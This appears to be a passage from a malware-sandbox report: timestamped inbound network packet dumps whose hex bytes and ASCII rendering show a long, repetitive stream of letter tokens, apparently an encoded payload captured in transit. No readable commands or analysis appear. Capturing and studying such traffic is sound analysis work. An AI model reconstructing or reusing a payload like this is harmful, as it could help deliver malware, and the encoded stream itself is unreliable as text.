2021-10-29 18:10:44 UTC	1294	IN	Data Raw: 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 4e 4e 72 20 72 49 20 72 49 20 59 56 20 63 43 20 4d 59 20 4e 56 59 20 56 72 49 20 57 57 20 4e 4e 56 20 59 43 20 59 43 20 56 4c 20 4c 56 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 4c 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 4c 4d 20 4c 63 20 56 43 72 20 72 49 20 4e 4c 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 4d 57 20 72 49 20 59 43 20 72 49 20 56 72 63 20 49 4d 20 4e 43 57 20 4e 56 4e 20 4e 72 56 20 59 56 20 4e 43 63 20 59 43 20 59 72 20 49 56 20 4e 20 56 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 4e 72 63 20 56 4c 20 72 4d 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 72 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e Data Ascii: Ir NNr NNY LC NNr rI rI YV cC MY NVY VrI WW NNV YC YC VL LV cr NrC NNY YL NNV YC Yr cY NIL Ir NNr NNY VCM IY LM Lc VCr rI NL NNr NNM NCM L NMW rI YC rI Vrc IM NCW NVN NrV YV NCc YC Yr IV N Vrr NCW NNV YV Nrc VL rM cr NrC NNY Yr NNV YC Yr cY NIL Ir NNr NN
2021-10-29 18:10:44 UTC	1295	IN	Data Raw: 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 56 20 56 43 63 20 59 56 20 59 43 20 49 63 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 56 4e 4c 20 59 43 20 72 49 20 59 63 20 4c 43 20 63 49 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 49 49 20 4c 59 20 72 49 20 59 43 20 56 57 20 4e 56 72 20 56 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 72 20 56 56 20 72 57 20 59 43 20 49 4e 20 57 43 20 59 49 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 4d 57 20 63 63 20 4e 4e 4c 20 4e 43 57 20 59 4d 20 59 4e 20 72 49 20 59 43 20 72 4e 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4c 20 4e 57 43 20 72 57 20 59 43 20 72 49 20 4e 4e 4c 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 57 4c 20 59 59 20 49 72 20 4e 4e 63 20 49 43 20 4c 43 20 4e 43 59 20 59 43 20 Data Ascii: NNM NCW NNI YV VCc YV YC Ic NNr NNY LC VNL YC rI Yc LC cI NNr NNM MC II LY rI YC VW NVr VYC NNM NCW NNI Vr VV rW YC IN WC YI NCW NNV YV Vc YC Yr MW cc NNL NCW YM YN rI YC rN Ir NNr NCC NCY L NWC rW YC rI NNL N VNC NCW NNV Yc WY WL YY Ir NNc IC LC NCY YC
2021-10-29 18:10:44 UTC	1296	IN	Data Raw: 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 49 20 59 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4e 57 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 72 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 4e 20 59 72 20 49 72 20 4e 4e 72 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 4e 59 20 72 57 20 59 43 20 59 72 20 56 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4d 20 59 43 20 Data Ascii: L YC rI YC NI Ir NNr NNc NCW NNV YC rI VNc Yr Ir NNr NVc NCW NNV YC NWI YC Yr Ir NNL NNM NCW NNV cN rI YC YY Ir NNr NNM NCW NNV YC rI YC NNW IY NNr NNM rr NNL YC rI YN Yr Ir NNr IN NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV NNY rW YC Yr VV NNY NNM NCW NNM YC
2021-10-29 18:10:44 UTC	1298	IN	Data Raw: 43 20 59 72 20 57 72 20 56 57 20 4e 57 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 57 20 59 59 20 49 72 20 4e 4e 63 20 4e 4e 4c 20 63 57 20 4e 59 43 20 59 43 20 72 49 20 59 56 20 4c 43 20 56 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 4c 4c 20 43 20 63 56 20 59 72 20 4e 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 43 20 72 56 20 4e 4e 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 63 20 4c 4e 20 56 43 20 4c 63 20 56 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 49 20 4e 4c 49 20 72 49 20 59 43 20 63 43 20 4e 4c 56 20 4e 56 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 4e 4c 63 20 59 43 20 59 72 20 57 72 20 57 43 20 56 43 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 63 20 59 72 20 Data Ascii: C Yr Wr VW NWr NCW NNV Yc Vr NLW YY Ir NNc NNL cW NYC YC rI YV LC VVM NNY NNM NCM WC LL C cV Yr NWr NNr NNM NCW NNV YC rI YC YC rV NNM NNc NCW NNc LN VC Lc VLC NV NNr NNM NCI II NLI rI YC cC NLV NVc NNM NCW NNr Vc NLc YC Yr Wr WC VCr NCW NNV Yc Vr NLc Yr
2021-10-29 18:10:44 UTC	1299	IN	Data Raw: 20 56 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 4c 59 20 59 56 20 57 4c 20 56 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 49 20 57 4c 20 4e 43 20 59 43 20 59 72 20 49 56 20 49 4d 20 4e 43 57 20 57 72 20 4e 56 43 20 72 49 20 59 4e 20 59 72 20 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4e 43 59 20 4e 20 59 72 20 63 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 4c 20 57 43 20 59 43 20 72 49 20 59 4e 20 72 56 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 57 4d 20 59 43 20 72 72 20 4c 4e 20 59 72 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 49 20 72 49 20 4e 4e 63 20 59 72 20 4d 56 20 4e 63 20 4e 4e 4d 20 57 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 49 63 20 57 43 20 4e 4d 4e 20 4e 43 57 Data Ascii: VVc NNc NCW NNI LY YV WL VrC Ir NNr NVM NNN NNI WL NC YC Yr IV IM NCW Wr NVC rI YN Yr LC NV NNr NNM NCM NCY N Yr cY NYM Ir NNr NVM VL WC YC rI YN rV Ir NNr NNW NCW WM YC rr LN Yr WC NNr NNM NCW NNV rI rI NNc Yr MV Nc NNM WW NNV YC rI YC NMc Ic WC NMN NCW
2021-10-29 18:10:44 UTC	1300	IN	Data Raw: 56 20 59 56 20 59 4e 20 57 4c 20 49 4e 20 49 59 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 56 59 20 59 43 20 72 49 20 59 56 20 49 57 20 4e 59 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 72 20 59 56 20 57 59 20 4d 20 59 72 20 49 72 20 4e 4e 63 20 49 43 20 4e 4e 4d 20 63 4d 20 59 49 20 59 43 20 72 57 20 59 43 20 4e 56 72 20 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 72 4c 20 4c 20 59 56 20 63 57 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 43 20 56 72 20 4e 72 56 20 72 57 20 49 57 20 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 56 43 20 59 43 20 72 57 20 49 57 20 59 59 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 49 57 20 72 49 20 59 43 20 72 49 20 59 57 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 72 43 20 4e 20 63 56 20 Data Ascii: V YV YN WL IN IY NNr NNY cW NVY YC rI YV IW NYM NNr NNM NCL NNr YV WY M Yr Ir NNc IC NNM cM YI YC rW YC NVr NI NNM NCW NNI rL L YV cW VYY NNr NNM NCL NC Vr NrV rW IW M NNY NNM NCM WV VC YC rW IW YY NNY NNM NCM II NIW rI YC rI YW rI NNM NCW NNI VL rC N cV
2021-10-29 18:10:44 UTC	1302	IN	Data Raw: 59 43 20 72 49 20 59 57 20 4d 4d 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 43 20 59 43 20 4c 4d 20 4e 49 4d 20 4e 56 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 63 4d 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 59 4c 20 59 43 20 72 49 20 59 56 20 49 57 20 56 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 63 20 56 72 20 72 49 20 59 43 20 59 72 20 4d 4e 20 63 63 20 4e 4e 56 20 4e 43 57 20 4e 57 56 20 59 4e 20 72 49 20 59 43 20 4e 57 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 49 49 20 4e 49 72 20 72 49 20 59 43 20 72 49 20 4c 57 20 4e 4e 57 20 4e 4e 57 20 4e 43 57 20 4e 4e 49 20 59 63 20 72 4d 20 63 4e 20 4e 49 4d 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 4c 63 20 56 43 72 20 72 49 20 4c 49 Data Ascii: YC rI YW MM NNM NCW NNI VC YC LM NIM NVM NNr NNM NNN IY Lc cM NYY Yr Ir NNc VNY cW VYL YC rI YV IW VN NNr NNM NCM Ic Vr rI YC Yr MN cc NNV NCW NWV YN rI YC NW Ir NNr NCC NNN II NIr rI YC rI LW NNW NNW NCW NNI Yc rM cN NIM WC NNr NNM NNN IY Lc Lc VCr rI LI
2021-10-29 18:10:44 UTC	1303	IN	Data Raw: 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 72 49 20 59 43 20 72 49 20 59 56 20 72 49 20 4c 57 20 56 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 59 63 20 59 4e 20 59 72 20 49 43 20 57 43 20 56 72 43 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 72 20 56 43 72 20 72 49 20 49 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 59 4e 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 57 49 20 4e 4e 4d 20 4e 43 57 20 57 4e 20 56 63 20 4c 4c 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 56 72 4c 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 72 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 4e 59 20 4e 72 4d 20 4e 4e 49 20 59 4c 20 59 43 20 59 43 20 72 49 20 4c 57 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 4c 56 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 4e 43 43 20 Data Ascii: NNc VNY cW VrI YC rI YV rI LW VNr NNM NCW NVV MW Yc YN Yr IC WC VrC NCW NNV YV Yr VCr rI IV NNV NNM NCM L NYN rI YC cC NVr WI NNM NCW WN Vc LL YC Yr NVM WC VrL NCW NNV YV Vr NIN Yr Ir NNc NNY NrM NNI YL YC YC rI LW VNY NNM NCW NVV Vc LV YC Yr NVM WC NCC
2021-10-29 18:10:44 UTC	1304	IN	Data Raw: 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 4d 20 59 43 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 56 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 59 72 20 59 43 20 72 49 20 59 43 20 63 4e 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 59 59 20 4e 4e 56 20 59 43 20 72 49 20 72 57 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 4d 20 72 57 20 59 43 20 59 72 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 Data Ascii: NV YC rI VNc Yr Ir NNr NVc NCW NNV YC NWM YC Yr Ir NNY NNM NCW NNV VV rI YC YY Ir NNr NNM NCW NYr YC rI YC cN Ir NNr NNM NYY NNV YC rI rW Yr Ir NNr NVV NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV rM rW YC Yr ML NNY NNM NCW NNL YC rI YC NI Ir NNr NNc NCW NNV YC
2021-10-29 18:10:44 UTC	1306	IN	Data Raw: 4d 4e 20 56 72 63 20 59 72 20 56 72 20 4e 4c 59 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 56 4e 57 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 56 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 56 43 4e 20 59 4e 20 72 49 20 59 56 20 59 43 20 4e 56 72 20 4e 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 63 20 4e 4c 59 20 59 4e 20 59 72 20 49 56 20 49 49 20 4e 43 56 20 57 4c 20 4e 56 72 20 59 43 20 4e 63 63 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 4d 49 20 59 63 20 59 59 20 49 72 20 4e 4e 49 20 49 49 20 4d 4c 20 4e 43 56 20 56 56 63 20 4e 43 72 20 59 43 20 59 72 20 49 59 20 57 43 20 56 43 59 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 56 72 20 63 4c 20 59 72 20 49 72 20 4e 4e 56 20 57 4c 20 56 4e 4c 20 4e 4e 56 20 Data Ascii: MN Vrc Yr Vr NLY Yr Ir NVC Vc VNW NNV YC YI WL NVW Ir NNr NVM cW VCN YN rI YV YC NVr NrI NNM NCW NNI Vc NLY YN Yr IV II NCV WL NVr YC Ncc YC Yr Ir NNr NNM NCW NNV Yr MI Yc YY Ir NNI II ML NCV VVc NCr YC Yr IY WC VCY NCW NNV Yc VVr cL Yr Ir NNV WL VNL NNV
2021-10-29 18:10:44 UTC	1307	IN	Data Raw: 20 72 49 20 59 56 20 4c 57 20 49 43 20 57 43 20 4e 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 4e 63 56 20 59 59 20 49 72 20 4e 4e 63 20 4e 43 43 20 4e 43 59 20 4c 4e 20 56 72 72 20 72 49 20 59 43 20 63 43 20 49 43 20 57 43 20 56 43 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 72 20 57 4c 20 63 4d 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4d 4e 20 4e 4e 56 20 59 43 20 72 57 20 72 63 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 72 20 4e 4e 56 20 72 63 20 56 57 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 49 20 59 43 20 72 56 20 59 72 20 4e 4e 72 20 4e 56 4c 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 43 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 63 20 56 4c 49 20 59 Data Ascii: rI YV LW IC WC Nrr NCW NNV YV WY NcV YY Ir NNc NCC NCY LN Vrr rI YC cC IC WC VCN NCI NNV YV Yr WL cM IY NNr NNY MN NNV YC rW rc Yr Ir NNV NNM NVr NNV rc VW YC Yc Ir NNr NNM NCW NNr YC NNI YC rV Yr NNr NVL NCW NNV YC rI NNc YC NVr VCc NNc NCW NNI Vc VLI Y
2021-10-29 18:10:44 UTC	1308	IN	Data Raw: 4c 20 49 59 20 59 4e 20 59 72 20 49 56 20 56 57 20 56 56 59 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 43 20 4e 57 4e 20 56 57 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4d 56 20 4e 43 56 20 63 59 20 4e 63 4c 20 59 43 20 59 72 20 49 56 20 56 43 49 20 49 43 20 4e 56 56 20 4e 4e 49 20 4e 72 72 20 56 72 20 4e 57 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 56 63 20 4e 43 63 20 4e 4e 59 20 57 4c 20 49 57 20 59 4e 20 59 72 20 49 56 20 57 43 20 56 72 57 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 56 72 49 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 4c 20 63 57 20 56 43 72 20 59 4e 20 72 49 20 59 56 20 72 57 20 59 57 20 56 72 4c 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 72 20 4e 63 63 20 72 57 20 49 57 20 59 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 72 63 20 59 56 20 56 63 Data Ascii: L IY YN Yr IV VW VVY NCW NNV YV rC NWN VW Ir NNr NNW MV NCV cY NcL YC Yr IV VCI IC NVV NNI Nrr Vr NWN Yr Ir NNc NVc NCc NNY WL IW YN Yr IV WC VrW NCW NNV YV WY VrI Yr Ir NVC NNL cW VCr YN rI YV rW YW VrL NNc NCW NNI Vr Ncc rW IW YL NNY NNM NCM WV rc YV Vc
2021-10-29 18:10:44 UTC	1312	IN	Data Raw: 59 20 56 4c 20 59 72 20 49 72 20 4e 56 43 20 49 57 20 4e 43 72 20 4e 43 4c 20 4c 4c 20 59 72 20 56 59 20 63 4c 20 4d 43 20 4e 56 56 20 57 4c 20 49 49 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 56 4c 56 20 4e 4c 49 20 4e 56 72 20 4e 43 4c 20 4e 43 4e 20 4e 72 56 20 4c 63 20 59 63 20 59 43 20 59 72 20 4d 57 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 4c 59 20 72 49 20 4e 4e 43 20 4e 4d 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4c 4c 20 59 59 20 63 57 20 72 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 63 20 4c 4c 20 59 63 20 49 57 20 4e 4c 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 4c 20 4c 49 20 4c 4c 20 63 4e 20 63 63 20 57 4d 20 4e 56 4e 20 4d 43 20 59 4d 20 4c 59 20 59 57 20 4c 4e 20 4e 56 4c 20 63 63 Data Ascii: Y VL Yr Ir NVC IW NCr NCL LL Yr VY cL MC NVV WL II NNV YC YI LN VLV NLI NVr NCL NCN NrV Lc Yc YC Yr MW VW NVc NCW NNV Yc VLc LY rI NNC NMc NNM NCW NNV YC LL YY cW rI NNr NNM NCL WW Yc LL Yc IW NLY NNr NNM NCL WW YL LI LL cN cc WM NVN MC YM LY YW LN NVL cc
2021-10-29 18:10:44 UTC	1316	IN	Data Raw: 72 20 56 43 63 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4d 57 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 4c 20 72 49 20 59 72 20 49 72 20 4e 63 4e 20 4e 4e 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 49 43 20 4e 4e 72 20 59 43 20 72 49 20 56 4c 4d 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 56 4c 20 72 57 20 59 43 20 59 72 20 4e 56 63 Data Ascii: r VCc NNV NNM NCW NMW rI rI YC YL Ir NNr NNM WI NNV YC rW rI Yr Ir NNr NCN NCW NNV YC VrL rI Yr Ir NcN NNW NCW NNV Yc rI YC Yr Ir NNr NNM NCW NNV YC rI YC rI Ir NNr NNM NIC NNr YC rI VLM YV Ir NNr NNI NCW NNV YC YI YC Yr IY NCY cW NCY NNV NVL rW YC Yr NVc
2021-10-29 18:10:44 UTC	1317	IN	Data Raw: 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 56 72 20 4e 4e 4d 20 4c 4e 20 4c 56 20 59 4c 20 4c 57 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 63 57 20 56 56 72 20 59 43 20 72 49 20 59 56 20 4c 43 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4e 56 4c 20 59 57 20 57 59 20 63 56 20 59 72 20 49 72 20 4e 56 43 20 49 49 20 56 59 59 20 4e 4d 72 20 59 63 20 59 4d 20 4c 43 20 72 49 20 57 4c 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 56 4c 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 59 20 57 57 20 59 49 20 4c 49 20 4c 4c 20 63 4c 20 4e 56 4d 20 49 4c 20 4e 43 43 20 4e 43 4e 20 57 4d 20 59 57 20 4e 4d 43 20 4c 4c 20 63 43 20 49 4c 20 4e 4e 56 20 4e 43 43 20 4e 43 4c 20 49 49 20 56 4c 4c 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 Data Ascii: M Yr Ir NVC NcW NVr NNM LN LV YL LW IC NNL NNL cW VVr YC rI YV LC cc NNr NNM MC NVL YW WY cV Yr Ir NVC II VYY NMr Yc YM LC rI WL VW NVc NCW NNV Yc VLc VLc YL NNr NMV NNM NCY WW YI LI LL cL NVM IL NCC NCN WM YW NMC LL cC IL NNV NCC NCL II VLL rI YC cC NVr
2021-10-29 18:10:44 UTC	1322	IN	Data Raw: 49 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4e 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 63 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 56 20 4e 43 43 20 4c 20 4e 63 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 49 4e 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 56 43 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 4c 20 4e 56 72 20 4e 4e 63 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 56 4e 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 49 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 49 20 72 43 20 72 43 20 56 4e 4d 20 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 Data Ascii: Ir NCW NNV Yc cN Mc rC Ir NNr NVM NVc NNc Mc rc YC Yr Wr WM NNV NCC L Nc rI YC cC NVr IN NNM NCW NVV WL VC YC Yr Wr WM NNL NVr NNc rY cL NWN NCI Ir NNr NNc MV NcC VNY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW IC NCW NNV Yc VI rC rC VNM rC NNM NCW NNL V
2021-10-29 18:10:44 UTC	1326	IN	Data Raw: 56 20 59 63 20 4e 43 20 56 4e 4c 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 63 20 4e 4e 57 20 49 49 20 57 63 20 72 49 20 59 43 20 63 43 20 4d 59 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 4c 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 56 4d 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 56 59 20 4e 43 4d 20 4c 20 4e 57 57 20 72 49 20 59 43 20 72 49 20 4d 4e 20 4e 4e 49 20 4e 43 43 20 4e 43 59 20 57 49 20 59 4e 20 56 72 20 56 4e 57 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4c 4e 20 4e 4e 56 20 59 43 20 59 72 20 4c 59 20 59 43 20 63 4d 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 4c 63 20 72 4e Data Ascii: V Yc NC VNL Yr Ir NNr NCc NNW II Wc rI YC cC MY NCN VrI YY NNV YC rW VL VLC NLC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc VM YC Yr Wr WM NVY NCM L NWW rI YC rI MN NNI NCC NCY WI YN Vr VNW Yr Ir NVC Vc NLN NNV YC Yr LY YC cM VYY rM NCW NNV YN VN Lc rN
2021-10-29 18:10:44 UTC	1330	IN	Data Raw: 59 20 4d 56 20 56 20 63 72 20 59 4d 20 59 43 20 4d 43 20 4e 56 72 20 4e 4d 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 72 20 4e 4e 57 20 59 63 20 59 72 20 4c 63 20 4e 56 20 4e 43 4d 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 72 59 20 59 72 20 49 72 20 4e 56 43 20 4d 20 4e 63 20 4e 56 56 20 59 43 20 63 72 20 63 72 20 4e 59 59 20 57 72 20 4e 4e 72 20 59 20 4e 57 20 4e 4e 43 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 4e 4e 20 72 49 20 59 43 20 63 43 20 59 57 20 4e 4c 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 63 63 20 4e 72 4c 20 63 43 20 49 72 20 56 20 4d 20 4e 56 72 20 4e 56 4c 20 59 43 20 63 72 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4e 4e 4e 20 59 43 20 72 49 20 59 63 20 4c Data Ascii: Y MV V cr YM YC MC NVr NM NNM NCW NVV cr NNW Yc Yr Lc NV NCM NCW NNV Yc WY rY Yr Ir NVC M Nc NVV YC cr cr NYY Wr NNr Y NW NNC YC rI Yc LC MY NNr NNM NCL II NN rI YC cC YW NLC NNM NCW NNI VL cc NrL cC Ir V M NVr NVL YC cr Mc rC Ir NNr NVM cW NNN YC rI Yc L
2021-10-29 18:10:44 UTC	1334	IN	Data Raw: 43 43 20 57 49 20 56 59 59 20 56 49 20 72 49 20 59 43 20 59 56 20 72 4d 20 49 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4e 20 57 59 20 4e 57 56 20 59 72 20 49 72 20 4e 56 43 20 56 4e 59 20 49 59 20 56 56 63 20 59 43 20 72 49 20 59 43 20 59 56 20 72 4d 20 4e 43 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 4c 20 59 63 20 4e 43 63 20 4e 49 59 20 4e 43 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 20 56 4d 20 72 49 20 59 43 20 59 43 20 63 57 20 4e 56 59 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 